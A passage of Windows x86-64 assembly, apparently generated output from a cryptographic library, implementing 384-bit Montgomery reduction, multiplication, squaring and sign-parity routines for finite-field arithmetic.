mov r15,QWORD PTR[8+rsp]
mov r14,QWORD PTR[16+rsp]
mov r13,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov rbx,QWORD PTR[40+rsp]
mov rbp,QWORD PTR[48+rsp]
lea rsp,QWORD PTR[56+rsp]
$L$SEH_epilogue_redc_mont_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_redc_mont_384::
redc_mont_384 ENDP
PUBLIC from_mont_384
ALIGN 32
from_mont_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_from_mont_384::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8
$L$SEH_body_from_mont_384::
mov rbx,rdx
call __mulq_by_1_mont_384
mov rcx,r15
mov rdx,r8
mov rbp,r9
sub r14,QWORD PTR[rbx]
sbb r15,QWORD PTR[8+rbx]
mov r13,r10
sbb r8,QWORD PTR[16+rbx]
sbb r9,QWORD PTR[24+rbx]
sbb r10,QWORD PTR[32+rbx]
mov rsi,r11
sbb r11,QWORD PTR[40+rbx]
cmovc r14,rax
cmovc r15,rcx
cmovc r8,rdx
mov QWORD PTR[rdi],r14
cmovc r9,rbp
mov QWORD PTR[8+rdi],r15
cmovc r10,r13
mov QWORD PTR[16+rdi],r8
cmovc r11,rsi
mov QWORD PTR[24+rdi],r9
mov QWORD PTR[32+rdi],r10
mov QWORD PTR[40+rdi],r11
mov r15,QWORD PTR[8+rsp]
mov r14,QWORD PTR[16+rsp]
mov r13,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov rbx,QWORD PTR[40+rsp]
mov rbp,QWORD PTR[48+rsp]
lea rsp,QWORD PTR[56+rsp]
$L$SEH_epilogue_from_mont_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_from_mont_384::
from_mont_384 ENDP
ALIGN 32
__mulq_by_1_mont_384 PROC PRIVATE
DB 243,15,30,250
mov rax,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
mov r14,rax
imul rax,rcx
mov r8,rax
mul QWORD PTR[rbx]
add r14,rax
mov rax,r8
adc r14,rdx
mul QWORD PTR[8+rbx]
add r9,rax
mov rax,r8
adc rdx,0
add r9,r14
adc rdx,0
mov r14,rdx
mul QWORD PTR[16+rbx]
add r10,rax
mov rax,r8
adc rdx,0
add r10,r14
adc rdx,0
mov r14,rdx
mul QWORD PTR[24+rbx]
add r11,rax
mov rax,r8
adc rdx,0
mov r15,r9
imul r9,rcx
add r11,r14
adc rdx,0
mov r14,rdx
mul QWORD PTR[32+rbx]
add r12,rax
mov rax,r8
adc rdx,0
add r12,r14
adc rdx,0
mov r14,rdx
mul QWORD PTR[40+rbx]
add r13,rax
mov rax,r9
adc rdx,0
add r13,r14
adc rdx,0
mov r14,rdx
mul QWORD PTR[rbx]
add r15,rax
mov rax,r9
adc r15,rdx
mul QWORD PTR[8+rbx]
add r10,rax
mov rax,r9
adc rdx,0
add r10,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[16+rbx]
add r11,rax
mov rax,r9
adc rdx,0
add r11,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[24+rbx]
add r12,rax
mov rax,r9
adc rdx,0
mov r8,r10
imul r10,rcx
add r12,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[32+rbx]
add r13,rax
mov rax,r9
adc rdx,0
add r13,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[40+rbx]
add r14,rax
mov rax,r10
adc rdx,0
add r14,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[rbx]
add r8,rax
mov rax,r10
adc r8,rdx
mul QWORD PTR[8+rbx]
add r11,rax
mov rax,r10
adc rdx,0
add r11,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rbx]
add r12,rax
mov rax,r10
adc rdx,0
add r12,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[24+rbx]
add r13,rax
mov rax,r10
adc rdx,0
mov r9,r11
imul r11,rcx
add r13,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[32+rbx]
add r14,rax
mov rax,r10
adc rdx,0
add r14,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[40+rbx]
add r15,rax
mov rax,r11
adc rdx,0
add r15,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[rbx]
add r9,rax
mov rax,r11
adc r9,rdx
mul QWORD PTR[8+rbx]
add r12,rax
mov rax,r11
adc rdx,0
add r12,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[16+rbx]
add r13,rax
mov rax,r11
adc rdx,0
add r13,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rbx]
add r14,rax
mov rax,r11
adc rdx,0
mov r10,r12
imul r12,rcx
add r14,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[32+rbx]
add r15,rax
mov rax,r11
adc rdx,0
add r15,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[40+rbx]
add r8,rax
mov rax,r12
adc rdx,0
add r8,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[rbx]
add r10,rax
mov rax,r12
adc r10,rdx
mul QWORD PTR[8+rbx]
add r13,rax
mov rax,r12
adc rdx,0
add r13,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[16+rbx]
add r14,rax
mov rax,r12
adc rdx,0
add r14,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[24+rbx]
add r15,rax
mov rax,r12
adc rdx,0
mov r11,r13
imul r13,rcx
add r15,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rbx]
add r8,rax
mov rax,r12
adc rdx,0
add r8,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[40+rbx]
add r9,rax
mov rax,r13
adc rdx,0
add r9,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[rbx]
add r11,rax
mov rax,r13
adc r11,rdx
mul QWORD PTR[8+rbx]
add r14,rax
mov rax,r13
adc rdx,0
add r14,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[16+rbx]
add r15,rax
mov rax,r13
adc rdx,0
add r15,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[24+rbx]
add r8,rax
mov rax,r13
adc rdx,0
add r8,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[32+rbx]
add r9,rax
mov rax,r13
adc rdx,0
add r9,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rbx]
add r10,rax
mov rax,r14
adc rdx,0
add r10,r11
adc rdx,0
mov r11,rdx
DB 0F3h,0C3h ;repret
__mulq_by_1_mont_384 ENDP
ALIGN 32
__redc_tail_mont_384 PROC PRIVATE
DB 243,15,30,250
add r14,QWORD PTR[48+rsi]
mov rax,r14
adc r15,QWORD PTR[56+rsi]
adc r8,QWORD PTR[64+rsi]
adc r9,QWORD PTR[72+rsi]
mov rcx,r15
adc r10,QWORD PTR[80+rsi]
adc r11,QWORD PTR[88+rsi]
sbb r12,r12
mov rdx,r8
mov rbp,r9
sub r14,QWORD PTR[rbx]
sbb r15,QWORD PTR[8+rbx]
mov r13,r10
sbb r8,QWORD PTR[16+rbx]
sbb r9,QWORD PTR[24+rbx]
sbb r10,QWORD PTR[32+rbx]
mov rsi,r11
sbb r11,QWORD PTR[40+rbx]
sbb r12,0
cmovc r14,rax
cmovc r15,rcx
cmovc r8,rdx
mov QWORD PTR[rdi],r14
cmovc r9,rbp
mov QWORD PTR[8+rdi],r15
cmovc r10,r13
mov QWORD PTR[16+rdi],r8
cmovc r11,rsi
mov QWORD PTR[24+rdi],r9
mov QWORD PTR[32+rdi],r10
mov QWORD PTR[40+rdi],r11
DB 0F3h,0C3h ;repret
__redc_tail_mont_384 ENDP
PUBLIC sgn0_pty_mont_384
ALIGN 32
sgn0_pty_mont_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sgn0_pty_mont_384::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8
$L$SEH_body_sgn0_pty_mont_384::
mov rbx,rsi
lea rsi,QWORD PTR[rdi]
mov rcx,rdx
call __mulq_by_1_mont_384
xor rax,rax
mov r13,r14
add r14,r14
adc r15,r15
adc r8,r8
adc r9,r9
adc r10,r10
adc r11,r11
adc rax,0
sub r14,QWORD PTR[rbx]
sbb r15,QWORD PTR[8+rbx]
sbb r8,QWORD PTR[16+rbx]
sbb r9,QWORD PTR[24+rbx]
sbb r10,QWORD PTR[32+rbx]
sbb r11,QWORD PTR[40+rbx]
sbb rax,0
not rax
and r13,1
and rax,2
or rax,r13
mov r15,QWORD PTR[8+rsp]
mov r14,QWORD PTR[16+rsp]
mov r13,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov rbx,QWORD PTR[40+rsp]
mov rbp,QWORD PTR[48+rsp]
lea rsp,QWORD PTR[56+rsp]
$L$SEH_epilogue_sgn0_pty_mont_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sgn0_pty_mont_384::
sgn0_pty_mont_384 ENDP
PUBLIC sgn0_pty_mont_384x
ALIGN 32
sgn0_pty_mont_384x PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sgn0_pty_mont_384x::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8
$L$SEH_body_sgn0_pty_mont_384x::
mov rbx,rsi
lea rsi,QWORD PTR[48+rdi]
mov rcx,rdx
call __mulq_by_1_mont_384
mov r12,r14
or r14,r15
or r14,r8
or r14,r9
or r14,r10
or r14,r11
lea rsi,QWORD PTR[rdi]
xor rdi,rdi
mov r13,r12
add r12,r12
adc r15,r15
adc r8,r8
adc r9,r9
adc r10,r10
adc r11,r11
adc rdi,0
sub r12,QWORD PTR[rbx]
sbb r15,QWORD PTR[8+rbx]
sbb r8,QWORD PTR[16+rbx]
sbb r9,QWORD PTR[24+rbx]
sbb r10,QWORD PTR[32+rbx]
sbb r11,QWORD PTR[40+rbx]
sbb rdi,0
mov QWORD PTR[rsp],r14
not rdi
and r13,1
and rdi,2
or rdi,r13
call __mulq_by_1_mont_384
mov r12,r14
or r14,r15
or r14,r8
or r14,r9
or r14,r10
or r14,r11
xor rax,rax
mov r13,r12
add r12,r12
adc r15,r15
adc r8,r8
adc r9,r9
adc r10,r10
adc r11,r11
adc rax,0
sub r12,QWORD PTR[rbx]
sbb r15,QWORD PTR[8+rbx]
sbb r8,QWORD PTR[16+rbx]
sbb r9,QWORD PTR[24+rbx]
sbb r10,QWORD PTR[32+rbx]
sbb r11,QWORD PTR[40+rbx]
sbb rax,0
mov r12,QWORD PTR[rsp]
not rax
test r14,r14
cmovz r13,rdi
test r12,r12
cmovnz rax,rdi
and r13,1
and rax,2
or rax,r13
mov r15,QWORD PTR[8+rsp]
mov r14,QWORD PTR[16+rsp]
mov r13,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov rbx,QWORD PTR[40+rsp]
mov rbp,QWORD PTR[48+rsp]
lea rsp,QWORD PTR[56+rsp]
$L$SEH_epilogue_sgn0_pty_mont_384x::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sgn0_pty_mont_384x::
sgn0_pty_mont_384x ENDP
PUBLIC mul_mont_384
ALIGN 32
mul_mont_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_mul_mont_384::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8*3
$L$SEH_body_mul_mont_384::
mov rax,QWORD PTR[rdx]
mov r14,QWORD PTR[rsi]
mov r15,QWORD PTR[8+rsi]
mov r12,QWORD PTR[16+rsi]
mov r13,QWORD PTR[24+rsi]
mov rbx,rdx
mov QWORD PTR[rsp],r8
mov QWORD PTR[8+rsp],rdi
call __mulq_mont_384
mov r15,QWORD PTR[24+rsp]
mov r14,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r12,QWORD PTR[48+rsp]
mov rbx,QWORD PTR[56+rsp]
mov rbp,QWORD PTR[64+rsp]
lea rsp,QWORD PTR[72+rsp]
$L$SEH_epilogue_mul_mont_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_mul_mont_384::
mul_mont_384 ENDP
ALIGN 32
__mulq_mont_384 PROC PRIVATE
DB 243,15,30,250
mov rdi,rax
mul r14
mov r8,rax
mov rax,rdi
mov r9,rdx
mul r15
add r9,rax
mov rax,rdi
adc rdx,0
mov r10,rdx
mul r12
add r10,rax
mov rax,rdi
adc rdx,0
mov r11,rdx
mov rbp,r8
imul r8,QWORD PTR[8+rsp]
mul r13
add r11,rax
mov rax,rdi
adc rdx,0
mov r12,rdx
mul QWORD PTR[32+rsi]
add r12,rax
mov rax,rdi
adc rdx,0
mov r13,rdx
mul QWORD PTR[40+rsi]
add r13,rax
mov rax,r8
adc rdx,0
xor r15,r15
mov r14,rdx
mul QWORD PTR[rcx]
add rbp,rax
mov rax,r8
adc rbp,rdx
mul QWORD PTR[8+rcx]
add r9,rax
mov rax,r8
adc rdx,0
add r9,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[16+rcx]
add r10,rax
mov rax,r8
adc rdx,0
add r10,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[24+rcx]
add r11,rbp
adc rdx,0
add r11,rax
mov rax,r8
adc rdx,0
mov rbp,rdx
mul QWORD PTR[32+rcx]
add r12,rax
mov rax,r8
adc rdx,0
add r12,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[40+rcx]
add r13,rax
mov rax,QWORD PTR[8+rbx]
adc rdx,0
add r13,rbp
adc r14,rdx
adc r15,0
mov rdi,rax
mul QWORD PTR[rsi]
add r9,rax
mov rax,rdi
adc rdx,0
mov r8,rdx
mul QWORD PTR[8+rsi]
add r10,rax
mov rax,rdi
adc rdx,0
add r10,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r11,rax
mov rax,rdi
adc rdx,0
add r11,r8
adc rdx,0
mov r8,rdx
mov rbp,r9
imul r9,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r12,rax
mov rax,rdi
adc rdx,0
add r12,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[32+rsi]
add r13,rax
mov rax,rdi
adc rdx,0
add r13,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[40+rsi]
add r14,r8
adc rdx,0
xor r8,r8
add r14,rax
mov rax,r9
adc r15,rdx
adc r8,0
mul QWORD PTR[rcx]
add rbp,rax
mov rax,r9
adc rbp,rdx
mul QWORD PTR[8+rcx]
add r10,rax
mov rax,r9
adc rdx,0
add r10,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[16+rcx]
add r11,rax
mov rax,r9
adc rdx,0
add r11,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[24+rcx]
add r12,rbp
adc rdx,0
add r12,rax
mov rax,r9
adc rdx,0
mov rbp,rdx
mul QWORD PTR[32+rcx]
add r13,rax
mov rax,r9
adc rdx,0
add r13,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[40+rcx]
add r14,rax
mov rax,QWORD PTR[16+rbx]
adc rdx,0
add r14,rbp
adc r15,rdx
adc r8,0
mov rdi,rax
mul QWORD PTR[rsi]
add r10,rax
mov rax,rdi
adc rdx,0
mov r9,rdx
mul QWORD PTR[8+rsi]
add r11,rax
mov rax,rdi
adc rdx,0
add r11,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[16+rsi]
add r12,rax
mov rax,rdi
adc rdx,0
add r12,r9
adc rdx,0
mov r9,rdx
mov rbp,r10
imul r10,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r13,rax
mov rax,rdi
adc rdx,0
add r13,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[32+rsi]
add r14,rax
mov rax,rdi
adc rdx,0
add r14,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[40+rsi]
add r15,r9
adc rdx,0
xor r9,r9
add r15,rax
mov rax,r10
adc r8,rdx
adc r9,0
mul QWORD PTR[rcx]
add rbp,rax
mov rax,r10
adc rbp,rdx
mul QWORD PTR[8+rcx]
add r11,rax
mov rax,r10
adc rdx,0
add r11,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[16+rcx]
add r12,rax
mov rax,r10
adc rdx,0
add r12,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[24+rcx]
add r13,rbp
adc rdx,0
add r13,rax
mov rax,r10
adc rdx,0
mov rbp,rdx
mul QWORD PTR[32+rcx]
add r14,rax
mov rax,r10
adc rdx,0
add r14,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[40+rcx]
add r15,rax
mov rax,QWORD PTR[24+rbx]
adc rdx,0
add r15,rbp
adc r8,rdx
adc r9,0
mov rdi,rax
mul QWORD PTR[rsi]
add r11,rax
mov rax,rdi
adc rdx,0
mov r10,rdx
mul QWORD PTR[8+rsi]
add r12,rax
mov rax,rdi
adc rdx,0
add r12,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[16+rsi]
add r13,rax
mov rax,rdi
adc rdx,0
add r13,r10
adc rdx,0
mov r10,rdx
mov rbp,r11
imul r11,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r14,rax
mov rax,rdi
adc rdx,0
add r14,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r15,rax
mov rax,rdi
adc rdx,0
add r15,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[40+rsi]
add r8,r10
adc rdx,0
xor r10,r10
add r8,rax
mov rax,r11
adc r9,rdx
adc r10,0
mul QWORD PTR[rcx]
add rbp,rax
mov rax,r11
adc rbp,rdx
mul QWORD PTR[8+rcx]
add r12,rax
mov rax,r11
adc rdx,0
add r12,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[16+rcx]
add r13,rax
mov rax,r11
adc rdx,0
add r13,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[24+rcx]
add r14,rbp
adc rdx,0
add r14,rax
mov rax,r11
adc rdx,0
mov rbp,rdx
mul QWORD PTR[32+rcx]
add r15,rax
mov rax,r11
adc rdx,0
add r15,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[40+rcx]
add r8,rax
mov rax,QWORD PTR[32+rbx]
adc rdx,0
add r8,rbp
adc r9,rdx
adc r10,0
mov rdi,rax
mul QWORD PTR[rsi]
add r12,rax
mov rax,rdi
adc rdx,0
mov r11,rdx
mul QWORD PTR[8+rsi]
add r13,rax
mov rax,rdi
adc rdx,0
add r13,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[16+rsi]
add r14,rax
mov rax,rdi
adc rdx,0
add r14,r11
adc rdx,0
mov r11,rdx
mov rbp,r12
imul r12,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r15,rax
mov rax,rdi
adc rdx,0
add r15,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[32+rsi]
add r8,rax
mov rax,rdi
adc rdx,0
add r8,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r9,r11
adc rdx,0
xor r11,r11
add r9,rax
mov rax,r12
adc r10,rdx
adc r11,0
mul QWORD PTR[rcx]
add rbp,rax
mov rax,r12
adc rbp,rdx
mul QWORD PTR[8+rcx]
add r13,rax
mov rax,r12
adc rdx,0
add r13,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[16+rcx]
add r14,rax
mov rax,r12
adc rdx,0
add r14,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[24+rcx]
add r15,rbp
adc rdx,0
add r15,rax
mov rax,r12
adc rdx,0
mov rbp,rdx
mul QWORD PTR[32+rcx]
add r8,rax
mov rax,r12
adc rdx,0
add r8,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[40+rcx]
add r9,rax
mov rax,QWORD PTR[40+rbx]
adc rdx,0
add r9,rbp
adc r10,rdx
adc r11,0
mov rdi,rax
mul QWORD PTR[rsi]
add r13,rax
mov rax,rdi
adc rdx,0
mov r12,rdx
mul QWORD PTR[8+rsi]
add r14,rax
mov rax,rdi
adc rdx,0
add r14,r12
adc rdx,0
mov r12,rdx
mul QWORD PTR[16+rsi]
add r15,rax
mov rax,rdi
adc rdx,0
add r15,r12
adc rdx,0
mov r12,rdx
mov rbp,r13
imul r13,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r8,rax
mov rax,rdi
adc rdx,0
add r8,r12
adc rdx,0
mov r12,rdx
mul QWORD PTR[32+rsi]
add r9,rax
mov rax,rdi
adc rdx,0
add r9,r12
adc rdx,0
mov r12,rdx
mul QWORD PTR[40+rsi]
add r10,r12
adc rdx,0
xor r12,r12
add r10,rax
mov rax,r13
adc r11,rdx
adc r12,0
mul QWORD PTR[rcx]
add rbp,rax
mov rax,r13
adc rbp,rdx
mul QWORD PTR[8+rcx]
add r14,rax
mov rax,r13
adc rdx,0
add r14,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[16+rcx]
add r15,rax
mov rax,r13
adc rdx,0
add r15,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[24+rcx]
add r8,rbp
adc rdx,0
add r8,rax
mov rax,r13
adc rdx,0
mov rbp,rdx
mul QWORD PTR[32+rcx]
add r9,rax
mov rax,r13
adc rdx,0
add r9,rbp
adc rdx,0
mov rbp,rdx
mul QWORD PTR[40+rcx]
add r10,rax
mov rax,r14
adc rdx,0
add r10,rbp
adc r11,rdx
adc r12,0
mov rdi,QWORD PTR[16+rsp]
sub r14,QWORD PTR[rcx]
mov rdx,r15
sbb r15,QWORD PTR[8+rcx]
mov rbx,r8
sbb r8,QWORD PTR[16+rcx]
mov rsi,r9
sbb r9,QWORD PTR[24+rcx]
mov rbp,r10
sbb r10,QWORD PTR[32+rcx]
mov r13,r11
sbb r11,QWORD PTR[40+rcx]
sbb r12,0
cmovc r14,rax
cmovc r15,rdx
cmovc r8,rbx
mov QWORD PTR[rdi],r14
cmovc r9,rsi
mov QWORD PTR[8+rdi],r15
cmovc r10,rbp
mov QWORD PTR[16+rdi],r8
cmovc r11,r13
mov QWORD PTR[24+rdi],r9
mov QWORD PTR[32+rdi],r10
mov QWORD PTR[40+rdi],r11
DB 0F3h,0C3h ;repret
__mulq_mont_384 ENDP
PUBLIC sqr_n_mul_mont_384
ALIGN 32
sqr_n_mul_mont_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sqr_n_mul_mont_384::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8*17
$L$SEH_body_sqr_n_mul_mont_384::
mov QWORD PTR[rsp],r8
mov QWORD PTR[8+rsp],rdi
mov QWORD PTR[16+rsp],rcx
lea rdi,QWORD PTR[32+rsp]
mov QWORD PTR[24+rsp],r9
movq xmm2,QWORD PTR[r9]
$L$oop_sqr_384::
movd xmm1,edx
call __sqrq_384
lea rsi,QWORD PTR[rdi]
mov rcx,QWORD PTR[rsp]
mov rbx,QWORD PTR[16+rsp]
call __mulq_by_1_mont_384
call __redc_tail_mont_384
movd edx,xmm1
lea rsi,QWORD PTR[rdi]
dec edx
jnz $L$oop_sqr_384
DB 102,72,15,126,208
mov rcx,rbx
mov rbx,QWORD PTR[24+rsp]
mov r12,r8
mov r13,r9
call __mulq_mont_384
lea r8,QWORD PTR[136+rsp]
mov r15,QWORD PTR[136+rsp]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_sqr_n_mul_mont_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sqr_n_mul_mont_384::
sqr_n_mul_mont_384 ENDP
PUBLIC sqr_n_mul_mont_383
ALIGN 32
sqr_n_mul_mont_383 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sqr_n_mul_mont_383::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8*17
$L$SEH_body_sqr_n_mul_mont_383::
mov QWORD PTR[rsp],r8
mov QWORD PTR[8+rsp],rdi
mov QWORD PTR[16+rsp],rcx
lea rdi,QWORD PTR[32+rsp]
mov QWORD PTR[24+rsp],r9
movq xmm2,QWORD PTR[r9]
$L$oop_sqr_383::
movd xmm1,edx
call __sqrq_384
lea rsi,QWORD PTR[rdi]
mov rcx,QWORD PTR[rsp]
mov rbx,QWORD PTR[16+rsp]
call __mulq_by_1_mont_384
movd edx,xmm1
add r14,QWORD PTR[48+rsi]
adc r15,QWORD PTR[56+rsi]
adc r8,QWORD PTR[64+rsi]
adc r9,QWORD PTR[72+rsi]
adc r10,QWORD PTR[80+rsi]
adc r11,QWORD PTR[88+rsi]
lea rsi,QWORD PTR[rdi]
mov QWORD PTR[rdi],r14
mov QWORD PTR[8+rdi],r15
mov QWORD PTR[16+rdi],r8
mov QWORD PTR[24+rdi],r9
mov QWORD PTR[32+rdi],r10
mov QWORD PTR[40+rdi],r11
dec edx
jnz $L$oop_sqr_383
DB 102,72,15,126,208
mov rcx,rbx
mov rbx,QWORD PTR[24+rsp]
mov r12,r8
mov r13,r9
call __mulq_mont_384
lea r8,QWORD PTR[136+rsp]
mov r15,QWORD PTR[136+rsp]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_sqr_n_mul_mont_383::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sqr_n_mul_mont_383::
sqr_n_mul_mont_383 ENDP
ALIGN 32
__mulq_mont_383_nonred PROC PRIVATE
DB 243,15,30,250
mov rbp,rax
mul r14
mov r8,rax
mov rax,rbp
mov r9,rdx
mul r15
add r9,rax
mov rax,rbp
adc rdx,0
mov r10,rdx
mul r12
add r10,rax
mov rax,rbp
adc rdx,0
mov r11,rdx
mov r15,r8
imul r8,QWORD PTR[8+rsp]
mul r13
add r11,rax
mov rax,rbp
adc rdx,0
mov r12,rdx
mul QWORD PTR[32+rsi]
add r12,rax
mov rax,rbp
adc rdx,0
mov r13,rdx
mul QWORD PTR[40+rsi]
add r13,rax
mov rax,r8
adc rdx,0
mov r14,rdx
mul QWORD PTR[rcx]
add r15,rax
mov rax,r8
adc r15,rdx
mul QWORD PTR[8+rcx]
add r9,rax
mov rax,r8
adc rdx,0
add r9,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[16+rcx]
add r10,rax
mov rax,r8
adc rdx,0
add r10,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[24+rcx]
add r11,r15
adc rdx,0
add r11,rax
mov rax,r8
adc rdx,0
mov r15,rdx
mul QWORD PTR[32+rcx]
add r12,rax
mov rax,r8
adc rdx,0
add r12,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[40+rcx]
add r13,rax
mov rax,QWORD PTR[8+rbx]
adc rdx,0
add r13,r15
adc r14,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add r9,rax
mov rax,rbp
adc rdx,0
mov r15,rdx
mul QWORD PTR[8+rsi]
add r10,rax
mov rax,rbp
adc rdx,0
add r10,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[16+rsi]
add r11,rax
mov rax,rbp
adc rdx,0
add r11,r15
adc rdx,0
mov r15,rdx
mov r8,r9
imul r9,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r12,rax
mov rax,rbp
adc rdx,0
add r12,r15
adc rdx,0
mov r15,rdx
mul QWORD PTR[32+rsi]
add r13,rax
mov rax,rbp
adc rdx,0
add r13,r15
